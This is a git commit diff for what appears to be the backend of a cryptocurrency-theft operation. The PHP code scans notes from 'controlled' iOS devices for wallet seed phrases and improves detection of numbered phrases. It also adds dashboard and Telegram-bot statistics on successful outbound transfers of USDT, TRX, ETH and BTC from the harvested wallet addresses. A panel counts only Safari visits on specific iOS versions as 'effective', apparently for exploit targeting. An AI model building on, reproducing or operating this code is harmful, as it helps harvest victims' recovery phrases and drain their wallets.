feat: scan

This commit is contained in:
hashbro
2026-09-13 02:12:06 +08:00
parent d7bd4d1b03
commit 1746e7b485
13 changed files with 266 additions and 40 deletions
+3 -1
View File
@@ -39,8 +39,10 @@ class NoteScan extends Model
return 'h:'.substr(hash('sha1', (string) ($item['title'] ?? '').'|'.(string) ($item['body'] ?? '')), 0, 24);
}
public const HASH_VERSION = '2';
public static function itemHash(array $item): string
{
return hash('sha256', (string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
return hash('sha256', self::HASH_VERSION."\n".(string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
}
}
+83
View File
@@ -4,6 +4,7 @@ namespace App\Services;
use App\Models\Device;
use App\Models\PageVisit;
use App\Models\TransferRecord;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
@@ -37,6 +38,8 @@ class DashboardStatsService
* mnemonic_count: int,
* address_count: int,
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
* transfer_count: int,
* transfers: array{usdt: string, trx: string, eth: string, btc: string},
* by_os: list<array{label: string, uv: int, pct: float}>,
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
@@ -102,6 +105,14 @@ class DashboardStatsService
$from,
$to,
);
[$transferCount, $transfers] = $this->transferStats(
$agent,
$agentUserId,
$channelId,
$channelExact,
$from,
$to,
);
$visits = PageVisit::query();
AgentScope::applyChannelIdScope($visits, $agent);
@@ -193,6 +204,8 @@ class DashboardStatsService
'mnemonic_count' => $mnemonicCount,
'address_count' => $addressCount,
'balances' => $balances,
'transfer_count' => $transferCount,
'transfers' => $transfers,
'by_os' => $byOs,
'by_ios_version' => $byIosVersion,
'by_device_ios_version' => $byDeviceIosVersion,
@@ -320,6 +333,76 @@ class DashboardStatsService
return [(int) ($row?->addr_count ?? 0), $out];
}
/**
* Successful outbound transfer count + per-asset sums in the selected range.
*
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string}}
*/
private function transferStats(
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
Carbon $from,
Carbon $to,
): array {
$q = TransferRecord::query()
->where('transfer_records.status', TransferRecord::STATUS_SUCCESS)
->whereBetween('transfer_records.created_at', [$from, $to]);
if ($agent !== null || $agentUserId !== null || $channelId !== '') {
$q->whereExists(function ($sub) use ($agent, $agentUserId, $channelId, $channelExact) {
$sub->selectRaw('1')
->from('wallet_addresses')
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
->whereColumn('wallet_addresses.address', 'transfer_records.from_address');
$scopedIds = null;
if ($agent !== null) {
$scopedIds = AgentScope::channelIdsFor($agent);
} elseif ($agentUserId !== null) {
$scopedIds = AgentScope::channelIdsForUserId($agentUserId);
}
if ($scopedIds !== null) {
if ($scopedIds === []) {
$sub->whereRaw('1 = 0');
} else {
$sub->whereIn('devices.channel_id', $scopedIds);
}
}
if ($channelId !== '') {
if ($channelExact) {
$sub->where('devices.channel_id', $channelId);
} else {
$sub->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
}
});
}
$amountExpr = DB::connection()->getDriverName() === 'sqlite'
? 'CAST(transfer_records.amount AS REAL)'
: 'CAST(transfer_records.amount AS DECIMAL(32, 18))';
$rows = (clone $q)
->selectRaw('UPPER(transfer_records.asset) as asset, COUNT(*) as cnt, COALESCE(SUM('.$amountExpr.'), 0) as total')
->groupByRaw('UPPER(transfer_records.asset)')
->get();
$coins = ['usdt' => '0', 'trx' => '0', 'eth' => '0', 'btc' => '0'];
$count = 0;
foreach ($rows as $row) {
$count += (int) $row->cnt;
$col = strtolower((string) $row->asset);
if (! isset($coins[$col])) {
continue;
}
$formatted = WalletAddress::formatAmount($col, $row->total);
$coins[$col] = $formatted === '' ? '0' : $formatted;
}
return [$count, $coins];
}
/**
* Map telegram /data day token to dashboard range key.
* Empty / omitted → today.
+10 -2
View File
@@ -237,8 +237,8 @@ class MnemonicDetector
}
/**
* Keep list indices (1. 2. 12) from breaking a phrase, but digits/units
* like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
* Keep list indices (1 / 1. / 1.during / 12)wrist) from breaking a phrase,
* but digits/units like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
*
* @return list<string>
*/
@@ -247,6 +247,9 @@ class MnemonicDetector
$out = [];
foreach (preg_split('/\s+/u', strtolower($text)) ?: [] as $raw) {
$word = trim($raw, ".,!?;:\"'()[]");
if ($word === '') {
continue;
}
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
$out[] = $word;
@@ -255,6 +258,11 @@ class MnemonicDetector
if (preg_match('/^\d{1,2}\.?$/', $word) === 1) {
continue;
}
if (preg_match('/^\d{1,2}[.)\]、.::]?([a-z]{3,8})$/u', $word, $m) === 1) {
$out[] = $m[1];
continue;
}
$out[] = '';
}
+16 -1
View File
@@ -97,7 +97,10 @@ class MnemonicScanService
return;
}
$text = trim((string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
$text = $this->noteScanText(
trim((string) ($item['title'] ?? '')),
trim((string) ($item['body'] ?? '')),
);
$this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
$row->content_hash = $hash;
$row->scan_status = $this->noteStatus($note, $key);
@@ -377,4 +380,16 @@ class MnemonicScanService
default => MnemonicScanStatus::EMPTY,
};
}
private function noteScanText(string $title, string $body): string
{
if ($title === '') {
return $body;
}
if ($body === '' || $title === $body || str_starts_with($body, $title)) {
return $body !== '' ? $body : $title;
}
return $title."\n".$body;
}
}
+8 -1
View File
@@ -272,6 +272,7 @@ class NoteContent
{
$lines = preg_split('/\n+/', $text) ?: [];
$title = '';
$firstLine = '';
$rest = [];
foreach ($lines as $line) {
$line = trim($line);
@@ -280,12 +281,18 @@ class NoteContent
}
if ($title === '') {
$title = mb_substr($line, 0, 80);
$firstLine = $line;
continue;
}
$rest[] = $line;
}
return [$title, trim(implode("\n", $rest))];
$body = trim(implode("\n", $rest));
if ($body === '') {
$body = $firstLine;
}
return [$title, $body];
}
}
+5 -5
View File
@@ -92,11 +92,11 @@ class DataCommand
'助记词: '.$data['mnemonic_count'],
'钱包地址: '.$data['address_count'],
'',
'💰 总余额(区间内新增地址)',
'• USDT '.$data['balances']['usdt'],
'• TRX '.$data['balances']['trx'],
'• BTC '.$data['balances']['btc'],
'• ETH '.$data['balances']['eth'],
'💰 总余额 / 交易额(新增地址 · 成功转出 '.$data['transfer_count'].' 笔)',
'• USDT '.$data['balances']['usdt'].' / '.$data['transfers']['usdt'],
'• TRX '.$data['balances']['trx'].' / '.$data['transfers']['trx'],
'• BTC '.$data['balances']['btc'].' / '.$data['transfers']['btc'],
'• ETH '.$data['balances']['eth'].' / '.$data['transfers']['eth'],
'• BNB '.$data['balances']['bnb'],
'',
'🌐 页面访问',
+1 -1
View File
@@ -18,7 +18,7 @@ class HelpCommand
' 健康检查',
'',
'/data [1|7|30] [channelId]',
' 查询仪表盘统计(设备/余额/访问/分布)',
' 查询仪表盘统计(设备/余额/交易额/访问/分布)',
' 天数默认当天;渠道默认全部',
' channelId: 旧版 32 hex 或新版 X.Y.ZZ',
' 例: /data',
+11 -28
View File
@@ -145,38 +145,17 @@
</div>
</div>
<div class="dash-section-label">总余额<span style="margin-left:8px;font-size:12px;">区间内新增地址</span></div>
<div class="dash-section-label">余额 / 交易额<span style="margin-left:8px;font-size:12px;">新增地址余额 · 成功转出 <span id="dash-tx-count">0</span> 笔</span></div>
<div class="dash-grid dash-grid-5">
@foreach (['usdt' => 'USDT', 'trx' => 'TRX', 'btc' => 'BTC', 'eth' => 'ETH', 'bnb' => 'BNB'] as $coin => $label)
<div class="dash-tile">
<div class="dash-tile-hd">USDT</div>
<div class="dash-tile-hd">{{ $label }}</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-usdt">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">TRX</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-trx">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">BTC</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-btc">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">ETH</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-eth">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">BNB</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-bnb">—</div>
<div class="dash-metric" id="dash-coin-{{ $coin }}">—</div>
<span class="dash-metric-caption">余额/转出</span>
</div>
</div>
@endforeach
</div>
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 且 Safari,不含 15.8.8 / 16.7.10+(左侧高亮)</span></div>
@@ -335,8 +314,12 @@ layui.use(['form', 'laydate', 'layer'], function () {
$('#dash-pv').html(ratioHtml(res.data.effective_pv || 0, res.data.pv || 0));
$('#dash-uv').html(ratioHtml(res.data.effective_uv || 0, res.data.uv || 0));
var bal = res.data.balances || {};
var tx = res.data.transfers || {};
$('#dash-tx-count').text(res.data.transfer_count || 0);
['usdt', 'trx', 'btc', 'eth', 'bnb'].forEach(function (c) {
$('#dash-bal-' + c).text(bal[c] != null && bal[c] !== '' ? bal[c] : '0');
var left = bal[c] != null && bal[c] !== '' ? bal[c] : '0';
var right = c === 'bnb' ? '—' : (tx[c] != null && tx[c] !== '' ? tx[c] : '0');
$('#dash-coin-' + c).html(ratioHtml(left, right));
});
fillRows('#dash-by-os', res.data.by_os);
fillRows('#dash-by-ios-version', res.data.by_ios_version);
+78 -1
View File
@@ -5,6 +5,7 @@ namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\Device;
use App\Models\TransferRecord;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
@@ -297,6 +298,46 @@ class AdminAgentPortalTest extends TestCase
'source' => 'imToken',
'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow',
]);
TransferRecord::query()->create([
'from_address' => 'TTestAddress111111111111111111111',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'tx-usdt',
'amount' => '10.5',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'status' => TransferRecord::STATUS_SUCCESS,
]);
TransferRecord::query()->create([
'from_address' => 'TTestAddress111111111111111111111',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'tx-trx',
'amount' => '3.25',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'TRX',
'status' => TransferRecord::STATUS_SUCCESS,
]);
TransferRecord::query()->create([
'from_address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd',
'to_address' => '0xto',
'chain' => 'eth',
'tx_hash' => 'tx-eth',
'amount' => '0.1',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'ETH',
'status' => TransferRecord::STATUS_SUCCESS,
]);
TransferRecord::query()->create([
'from_address' => 'TTestAddress111111111111111111111',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'tx-fail',
'amount' => '99',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'status' => TransferRecord::STATUS_FAILED,
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', ['range' => '30d']))
@@ -310,11 +351,16 @@ class AdminAgentPortalTest extends TestCase
->assertJsonPath('data.balances.eth', '0.1')
->assertJsonPath('data.balances.btc', '0.001')
->assertJsonPath('data.balances.bnb', '1.25')
->assertJsonPath('data.transfer_count', 3)
->assertJsonPath('data.transfers.usdt', '10.5')
->assertJsonPath('data.transfers.trx', '3.25')
->assertJsonPath('data.transfers.eth', '0.1')
->assertJsonPath('data.transfers.btc', '0')
->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4')
->assertJsonPath('data.by_device_ios_version.0.count', 2)
->assertJsonPath('data.by_device_ios_version.1.label', '18.5')
->assertJsonPath('data.by_device_ios_version.1.count', 1)
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]);
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'transfer_count', 'transfers', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]);
}
#[Test]
@@ -378,6 +424,35 @@ class AdminAgentPortalTest extends TestCase
'updated_at' => '2026-08-10 12:00:00',
]);
$inTx = TransferRecord::query()->create([
'from_address' => 'TInRangeAddr111111111111111111111',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'in-tx',
'amount' => '4.2',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'status' => TransferRecord::STATUS_SUCCESS,
]);
\Illuminate\Support\Facades\DB::table('transfer_records')->where('id', $inTx->id)->update([
'created_at' => '2026-08-10 12:00:00',
'updated_at' => '2026-08-10 12:00:00',
]);
$outTx = TransferRecord::query()->create([
'from_address' => 'TOutOfRangeAddr11111111111111111',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'out-tx',
'amount' => '9',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'status' => TransferRecord::STATUS_SUCCESS,
]);
\Illuminate\Support\Facades\DB::table('transfer_records')->where('id', $outTx->id)->update([
'created_at' => '2026-07-01 12:00:00',
'updated_at' => '2026-07-01 12:00:00',
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', [
'date_from' => '2026-08-01',
@@ -391,6 +466,8 @@ class AdminAgentPortalTest extends TestCase
->assertJsonPath('data.mnemonic_count', 1)
->assertJsonPath('data.address_count', 1)
->assertJsonPath('data.balances.usdt', '5')
->assertJsonPath('data.transfer_count', 1)
->assertJsonPath('data.transfers.usdt', '4.2')
->assertJsonPath('data.date_from', '2026-08-01')
->assertJsonPath('data.date_to', '2026-08-15');
}
+23
View File
@@ -71,6 +71,29 @@ TXT;
});
}
#[Test]
public function glued_numbered_note_words_auto_confirm_and_ingest(): void
{
$phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist';
$device = $this->device('dev-scan-glued');
Note::query()->create([
'device_id' => $device->id,
'content' => [
'1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist',
],
'content_hash' => hash('sha256', 'glued'),
]);
app(MnemonicScanService::class)->scanDeviceNotes($device);
$finding = MnemonicFinding::query()->first();
$this->assertNotNull($finding);
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->status);
$this->assertSame($phrase, $finding->candidate);
$this->assertSame(1, $device->mnemonics()->count());
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status'));
}
#[Test]
public function nine_note_hits_are_ignored(): void
{
+1
View File
@@ -290,6 +290,7 @@ class TelegramBotTest extends TestCase
$this->assertStringContainsString('页面 PV: 1 / 2', $text);
$this->assertStringContainsString('设备与资产', $text);
$this->assertStringContainsString('总余额', $text);
$this->assertStringContainsString('交易额', $text);
$this->assertStringContainsString('助记词', $text);
$this->assertStringContainsString('受控设备 · 系统版本', $text);
$this->assertStringContainsString('按 iOS 版本', $text);
+15
View File
@@ -117,6 +117,21 @@ TXT;
$this->assertSame(12, $hit['word_count']);
}
#[Test]
public function notes_keep_inline_and_glued_numbered_phrase(): void
{
$phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist';
$spaced = '1 during 2 exhaust 3 tool 4 custom 5 smart 6 old 7 busy 8 region 9 skin 10 wasp 11 attitude 12 wrist';
$glued = '1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist';
foreach ([$spaced, $glued] as $text) {
$hit = (new MnemonicDetector)->detect($text, true);
$this->assertNotNull($hit);
$this->assertTrue($hit['confirmed']);
$this->assertSame($phrase, $hit['candidate']);
}
}
#[Test]
public function prefers_english_phrase_over_chinese_ui(): void
{
+12
View File
@@ -40,6 +40,18 @@ class NoteContentTest extends TestCase
$this->assertSame([], NoteContent::fromList(["\n(\n\t (\n"]));
}
#[Test]
public function keeps_full_single_line_body_when_longer_than_title(): void
{
$line = '1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist';
$items = NoteContent::fromList([$line]);
$this->assertCount(1, $items);
$this->assertTrue(str_starts_with($line, $items[0]['title']));
$this->assertSame($line, $items[0]['body']);
$this->assertStringContainsString('12.wrist', $items[0]['body']);
}
#[Test]
public function keeps_title_as_body_when_rest_is_notes_junk(): void
{